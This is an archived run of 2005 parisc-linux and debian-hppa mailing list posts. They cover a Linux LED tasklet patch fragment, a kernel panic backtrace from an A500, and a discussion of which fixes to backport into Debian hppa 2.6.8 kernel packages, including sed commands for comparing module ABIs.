 	static unsigned long count_HZ; /* counter in range 0..HZ */
@@ -444,12 +478,17 @@ static void led_tasklet_func(unsigned lo
 	if (!led_func_ptr)
 	    return;
 
+	if (led_func_pending) {
+	    led_func_pending = led_func_ptr(led_func_last);
+	    return;
+	}
+
 	/* increment the local counters */
 	++count;
 	if (++count_HZ == HZ)
 	    count_HZ = 0;
 
-	currentleds = lastleds;
+	currentleds = led_func_last;
 
 	if (led_heartbeat)
 	{
@@ -480,10 +519,10 @@ static void led_tasklet_func(unsigned lo
 		currentleds = (count_HZ<=(HZ/2)) ? 0 : 0xff;
 	}
 	
-	/* update the LCD/LEDs */
-	if (currentleds != lastleds) {
-	    led_func_ptr(currentleds);
-	    lastleds = currentleds;
+	/* need to update the LCD/LEDs? */
+	if (currentleds != led_func_last) {
+	    led_func_pending = led_func_ptr(currentleds);
+	    led_func_last = currentleds;
 	}
 }
 
@@ -526,7 +565,7 @@ static int led_halt(struct notifier_bloc
 		lcd_print(txt);
 	else
 		if (led_func_ptr)
-			led_func_ptr(0xff); /* turn all LEDs ON */
+			(void) led_func_ptr(0xff); /* turn all LEDs ON */
 	
 	unregister_reboot_notifier(&led_notifier);
 	return NOTIFY_OK;
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG dp_write() data page fault
Date: Mon, 21 Mar 2005 23:37:43 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20050322063743.GA3867@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623706 13389 80.91.229.3 (22 Nov 2014 02:35:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 06:36:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 22 Mar 2005 07:36:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7372A7D65C;
	Mon, 21 Mar 2005 23:37:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11045-09; Mon, 21 Mar 2005 23:37:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 770C97D65E;
	Mon, 21 Mar 2005 23:37:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 909947D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:37:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11045-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:37:32 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 231E27D656
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:37:32 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8D60529804C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:37:43 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03829-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 23:37:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 27CC1298011; Mon, 21 Mar 2005 23:37:43 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: idlNYpASeSE5+76WZHQhaXN2IGRvb4D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22468

my a500 (gsyprf11) crashed again with do_wp_page() calling
copy_user_page_asm() with bad parameters. Console output appended.

grant

Backtrace:
 [<000000001019b824>] do_wp_page+0x434/0xd88
 [<000000001019dafc>] handle_mm_fault+0x34c/0x9c0
 [<000000001011314c] do_page_fault+0x39c/0x458
 [<0000000010115050>] handle_interruption+0x328/0x790
 [<00000000101070a4>] intr_check_sig+0x0/0xc


Press Q/q to quit, Enter to continue: 


Kernel Fault: Code=15 regs=00000001a993c570 (Addr=0000000210000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 0000000000000000 000000001019b824 00000001137fffc8
r04-07  0000000010542540 00000001d44ec000 00000000000d0bac 00000001db141760
r08-11  0000000112af13a0 00000000fd869a80 00000001fffffb25 000000015981e680
r12-15  00000001a9730000 00000000fd869af8 00000000001cbfa8 00000000001cccc8
r16-19  00000000f2b153a0 0000000000000000 0000000000000000 0000000000000000
r20-23  0000000000000000 0000000000000000 0000000000000000 00000000105d1098
r24-27  000000000800000f 0000000210000000 00000001d44ed000 0000000010542540
r28-31  0000000112af13a0 00000001a993c540 00000001a993c570 00000000400d61d7
sr0-3   000000000252c800 0000000000000000 0000000000000000 000000000252c800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101012c0 00000000101012c4
 IIR: 0f2010d3    ISR: 0000000000000000  IOR: 0000000210000000
 CPU:        0   CR30: 00000001a993c000 CR31: 000000001050c000


Press Q/q to quit, Enter to continue: 
 ORIG_R28: 0000000000000000
 IAOQ[0]: copy_user_page_asm+0xa0/0xac
 IAOQ[1]: copy_user_page_asm+0xa4/0xac
 RP(r2): do_wp_page+0x434/0xd88
Kernel panic - not syncing: Kernel Fault


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: RFC: Updating hppa kernel-image packages
Date: Tue, 22 Mar 2005 15:47:51 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <20050322204751.GC26941__32284.3544338413$1416623707$gmane$org@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623707 13391 80.91.229.3 (22 Nov 2014 02:35:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:07 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 debian-kernel@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 20:49:38 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx034) with SMTP; 22 Mar 2005 21:49:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 339032EAA3; Tue, 22 Mar 2005 14:49:36 -0600 (CST)
Old-Return-Path: <kyle@fattire.cabal.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by murphy.debian.org (Postfix) with ESMTP id 241142DFD9;
	Tue, 22 Mar 2005 14:49:30 -0600 (CST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 4665917050;
	Tue, 22 Mar 2005 15:49:29 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01365-05; Tue, 22 Mar 2005 15:49:18 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 9126417078; Tue, 22 Mar 2005 15:49:18 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-x2111753685-52656d6f746546617454697265-494e424f582e4f7574626f78: 1111524520-0878448570256-v4.0.8
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-1.0 required=4.0 tests=AWL,BAYES_01 autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <W79l6D.A.DyC.gTIQCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4336
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 22 Mar 2005 14:49:36 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: s+EyYkY/eSE5+76WZHQhaXN2IGRvb4Ct
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22469

[d-k copied about ABI[0] change]

The current crop of 2.6.8 kernel images in unstable and testing are
quite good, but a new upload is required to fix some security bugs
and some hppa-related bugs.

This is basically a call for suggestions for what I should backmerge
to 2.6.8 from recent CVS. I will go through the parisc-linux-cvs archive
again and try to pull what I can see, but I'd like a bit of help.

These changes can be categorized in two, ones which change the module
ABI, and ones that don't. 

To help keep the lives of the debian-installer folks sane, I'm not
going to honour suggestions to turn on/off various drivers, unless
I get an explicit ok.

[Non-ABI breaking changes] - The following are candidates for merging
                             immediately.

	- Rebuild against recent kernel source for security fixes.
	- Grant pointed out some recent fixes he made to ccio and sba_iommu
          which fix memory starvation on low-memory machines with iommus.

[ABI breaking changes] - The following will wait until the next ABI
                         rev from kernel-source.

	- Disabling USB_DEBUG in all the configs. This was erroneously
          enabled and is disabled on all other architectures.

There seem to be a few security bugs waiting on a rev of the ABI as
well.

Thanks,
	Kyle M.

[0] - for those following at home, the ABI of a kernel is reflected
      in the package name, like the soname of a shared library.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: RFC: Updating hppa kernel-image packages
Date: Tue, 22 Mar 2005 21:04:54 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20050322210454.GH21986__48471.6326617219$1416623707$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20050322204751.GC26941@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623707 13392 80.91.229.3 (22 Nov 2014 02:35:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 debian-kernel@lists.debian.org
To: Kyle McMartin <kyle@debian.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 21:21:57 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx050) with SMTP; 22 Mar 2005 22:21:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 776C42E316; Tue, 22 Mar 2005 15:21:55 -0600 (CST)
Old-Return-Path: <willy@www.linux.org.uk>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from parcelfarce.linux.theplanet.co.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by murphy.debian.org (Postfix) with ESMTP id 254302E015;
	Tue, 22 Mar 2005 15:04:55 -0600 (CST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim 4.33)
	id 1DDqYY-0001SH-9H; Tue, 22 Mar 2005 21:04:54 +0000
Content-Disposition: inline
In-Reply-To: <20050322204751.GC26941@roadwarrior.mcmartin.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-Rc-Spam: 2005-02-20_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=AWL autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <3avAiC.A.R2H.zxIQCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4337
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 22 Mar 2005 15:21:55 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: IekyYhd1eSE5+76WZHQhaXN2IGRvbwCn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22470

On Tue, Mar 22, 2005 at 03:47:51PM -0500, Kyle McMartin wrote:
> This is basically a call for suggestions for what I should backmerge
> to 2.6.8 from recent CVS. I will go through the parisc-linux-cvs archive
> again and try to pull what I can see, but I'd like a bit of help.

In case it wasn't already abundently clear, I'd like you to NOT backport
the IRQ changes.  I think they're stable now, but we don't have time to
fix any resulting bugs before Sarge.

> To help keep the lives of the debian-installer folks sane, I'm not
> going to honour suggestions to turn on/off various drivers, unless
> I get an explicit ok.

I'd like to be sure that the resulting images are suitable for booting
on all the machines that ought to work.  Here's a list of suitable test
machines and notes of what they have:

 - 712 (LASI serial, net and scsi)
 - C3000 (SBA, SuckyIO serial, ns87415 ide, sym2 scsi, Tulip net)
 - K450 (Mux serial, CCIO, zalon scsi, LASI net)
 - A500 (64-bit, SBA, sym2 scsi, Tulip net)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andres Salomon <dilinger@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: RFC: Updating hppa kernel-image packages
Date: Tue, 22 Mar 2005 16:56:22 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <pan.2005.03.22.21.56.10.977426__40315.5845161111$1416623708$gmane$org@debian.org>
References: <20050322204751.GC26941@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623708 13397 80.91.229.3 (22 Nov 2014 02:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-kernel@lists.debian.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 23:25:01 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx055) with SMTP; 23 Mar 2005 00:25:01 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 35CEF2F108; Tue, 22 Mar 2005 17:24:57 -0600 (CST)
Old-Return-Path: <debian-hppa@m.gmane.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	by murphy.debian.org (Postfix) with ESMTP id 4113E2EF58
	for <debian-hppa@lists.debian.org>; Tue, 22 Mar 2005 17:24:51 -0600 (CST)
Original-Received: from root by ciao.gmane.org with local (Exim 4.43)
	id 1DDsfh-0006yw-Bd
	for debian-hppa@lists.debian.org; Wed, 23 Mar 2005 00:20:25 +0100
Original-Received: from cpe-24-194-62-26.nycap.res.rr.com ([24.194.62.26])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <debian-hppa@lists.debian.org>; Wed, 23 Mar 2005 00:20:25 +0100
Original-Received: from dilinger by cpe-24-194-62-26.nycap.res.rr.com with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <debian-hppa@lists.debian.org>; Wed, 23 Mar 2005 00:20:25 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 60
Original-X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: cpe-24-194-62-26.nycap.res.rr.com
User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table (Debian GNU/Linux))
Original-Sender: news <news@sea.gmane.org>
X-MailScanner-To: debian-hppa@lists.debian.org
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-3.8 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <iXp8K.A.2dF.JlKQCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4338
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue, 22 Mar 2005 17:24:57 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: GswyYpsEeSE5+76WZHQhaXN2IGRvb8AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22471

On Tue, 22 Mar 2005 15:47:51 -0500, Kyle McMartin wrote:

> [d-k copied about ABI[0] change]
> 
> The current crop of 2.6.8 kernel images in unstable and testing are
> quite good, but a new upload is required to fix some security bugs
> and some hppa-related bugs.
> 
> This is basically a call for suggestions for what I should backmerge
> to 2.6.8 from recent CVS. I will go through the parisc-linux-cvs archive
> again and try to pull what I can see, but I'd like a bit of help.
> 
> These changes can be categorized in two, ones which change the module
> ABI, and ones that don't. 
> 
> To help keep the lives of the debian-installer folks sane, I'm not
> going to honour suggestions to turn on/off various drivers, unless
> I get an explicit ok.
> 
> [Non-ABI breaking changes] - The following are candidates for merging
>                              immediately.
> 
> 	- Rebuild against recent kernel source for security fixes.
> 	- Grant pointed out some recent fixes he made to ccio and sba_iommu
>           which fix memory starvation on low-memory machines with iommus.
> 
> [ABI breaking changes] - The following will wait until the next ABI
>                          rev from kernel-source.
> 
> 	- Disabling USB_DEBUG in all the configs. This was erroneously
>           enabled and is disabled on all other architectures.
> 

Do you know what symbols it affects?

FYI, what I'll do to compare ABIs is, post build:

sed -e 's/^\(.\+\)[[:space:]]\+\(.\+\)[[:space:]]\(.\+\)$/\3 \2 \1/' 
path/to/2.6.8-13/build-686/Module.symvers | sort  > 2.6.8-13.abi
sed -e 's/^\(.\+\)[[:space:]]\+\(.\+\)[[:space:]]\(.\+\)$/\3 \2 \1/' 
path/to/2.6.8-15/build-686/Module.symvers | sort  > 2.6.8-15.abi
diff -u 2.6.8-1{3,5}.abi

That tells you exactly what symbols were added, removed, and modified,
within vmlinux as well as all kernel modules.

> There seem to be a few security bugs waiting on a rev of the ABI as well.
>

Just one; CAN-2005-0449.
 
> Thanks,
> 	Kyle M.
> 
> [0] - for those following at home, the ABI of a kernel is reflected
>       in the package name, like the soname of a shared library.

I usually call it an ABINAME to distinguish it from a library's SONAME.




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Noise from hil_kbd?
Date: Tue, 22 Mar 2005 22:39:23 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <20050322223923.GA21777@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623708 13401 80.91.229.3 (22 Nov 2014 02:35:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2005 22:36:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 22 Mar 2005 23:36:13 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9239C7D674;
	Tue, 22 Mar 2005 15:37:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16132-07; Tue, 22 Mar 2005 15:37:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 967107D65E;
	Tue, 22 Mar 2005 15:37:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E1B47D645
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Mar 2005 15:37:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16132-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Mar 2005 15:37:32 -0700 (MST)
Original-Received: from mta10-winn.mailhost.ntl.com (smtpout18.mailhost.ntl.com
	[212.250.162.18])
	by free.linux.hp.com (Postfix) with ESMTP id 219FD7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Mar 2005 15:37:31 -0700 (MST)
Original-Received: from aamta03-winn.mailhost.ntl.com ([212.250.162.8])
	by mta10-winn.mailhost.ntl.com with ESMTP id
	<20050322223603.WSQF12495.mta10-winn.mailhost.ntl.com@aamta03-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Mar 2005 22:36:03 +0000
Original-Received: from janus ([82.9.44.89]) by aamta03-winn.mailhost.ntl.com with ESMTP
	id <20050322223603.HDEA1279.aamta03-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Mar 2005 22:36:03 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DDs1z-0005fu-00 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Mar 2005 22:39:23 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
